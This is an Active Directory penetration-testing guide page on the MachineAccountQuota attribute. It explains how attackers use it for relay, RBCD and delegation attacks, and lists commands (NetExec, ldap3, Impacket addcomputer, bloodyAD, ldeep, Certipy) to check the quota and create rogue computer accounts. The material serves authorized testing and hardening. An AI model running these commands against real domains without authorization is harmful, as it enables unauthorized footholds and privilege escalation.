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MachineAccountQuota ​

Theory ​

MachineAccountQuota (MAQ) is a domain level attribute that by default permits unprivileged users to attach up to 10 computers to an Active Directory (AD) domain (source)

Practice ​

There are multiple ways attackers can leverage that power.

  • Force client authentications, relay those authentications to domain controllers using LDAPS, and take advantage of authenticated sessions to create a domain computer account. This account can then be used as a foothold on the AD domain to operate authenticated recon (i.e. with BloodHound for example)
  • Create a computer account and use it for Kerberos RBCD attacks when leveraging owned accounts with sufficient permissions (i.e. ACEs like GenericAll, GenericWrite or WriteProperty) against a target machine
  • Create a computer account and use it for a Kerberos Unconstrained Delegation attack when leveraging owned accounts with sufficient permissions (i.e. the SeEnableDelegationPrivilege user right)
  • Profit from special rights that members of the Domain Computers group could inherit
  • Profit from special rights that could automatically be applied to new domain computers based on their account name

Check the value ​

The MachineAccountQuota module (for NetExec (Python)) can be used to check the value of the MachineAccountQuota attribute:

bash
nxc ldap $DOMAIN_CONTROLLER -d $DOMAIN -u $USER -p $PASSWORD -M maq

Alternatively, it can be done manually with the Python library ldap3 (source):

bash
import ldap3

target_dn = "DC=domain,DC=local" # change this
domain = "domain" # change this
username = "username" # change this
password = "password" # change this

user = "{}\\{}".format(domain, username)
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind()
connection.search(target_dn,"(objectClass=*)", attributes=['ms-DS-MachineAccountQuota'])
print(connection.entries[0])

With bloodyAD (Python):

bash
bloodyad -d $DOMAIN -u $USER -p $PASSWORD --host $DOMAIN_CONTROLLER get object 'DC=acme,DC=local' --attr ms-DS-MachineAccountQuota

With ldeep (Python):

bash
ldeep ldap -d $DOMAIN -u $USER -p $PASSWORD -s $DOMAIN_CONTROLLER search '(objectclass=domain)' | jq '.[]."ms-DS-MachineAccountQuota"'

With ldapsearch (openldap (C)):

bash
ldapsearch -x -H ldap://$DOMAIN_CONTROLLER -b 'DC=acme,DC=local' -D "$USER@$DOMAIN" -W -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota

Create a computer account ​

The Impacket script addcomputer (Python) can be used to create a computer account, using the credentials of a domain user the the MachineAccountQuota domain-level attribute is set higher than 0 (10 by default).

bash
addcomputer.py -computer-name 'SomeName$' -computer-pass 'SomePassword' -dc-host "$DC_HOST" -domain-netbios "$DOMAIN" "$DOMAIN"/"$USER":"$PASSWORD"

addcomputer.py also has an option -computer-group for adding a group to which the account will be added. Because if omitted, the group CN=Computers will be used by default.

Testers can also use ntlmrelayx (Python) instead with the --add-computer option, like this

When using Impacket's addcomputer script for the creation of a computer account, the "SAMR" method is used by default (instead of the LDAPS one). At the time of writing (10th of December, 2021), the SAMR method creates the account without SPNs. In this case, they could be added later on with addspn.py (Python). By default, computer accounts have the following SPNs set:

KrbRestrictedHost/hostname
KrbRestrictedHost/hostname.domain_fqdn
Host/hostname
Host/hostname.domain_fqdn

With bloodyAD (Python):

bash
bloodyad -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --host "$DC_HOST" add computer 'SomeName$' 'SomePassword'

With ldeep (Python):

bash
ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_HOST" create_computer 'SomeName$' 'SomePassword'

With Certipy (Python):

bash
certipy account create -username "$USER"@"$DOMAIN" -password "$PASSWORD" -dc-ip "$DC_HOST" -user 'SomeName$' -pass 'SomePassword' -dns 'SomeDNS'

Certipy also offers option to set the UPN (-upn), SAM account name (-sam), SPNS (-spns) while creating the computer.

Testers need to be aware that the MAQ attribute set to a non-zero value doesn't necessarily mean the users can create machine accounts. The right to add workstations to a domain can in fact be changed in the Group Policies. Group Policy Management Console (gpmc.msc) > Domain Controllers OU > Domain Controllers Policy > Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assigments > Add workstations to domain

Resources ​

https://blog.netspi.com/machineaccountquota-is-useful-sometimes/

https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

https://social.technet.microsoft.com/wiki/contents/articles/5446.active-directory-how-to-prevent-authenticated-users-from-joining-workstations-to-a-domain.aspx

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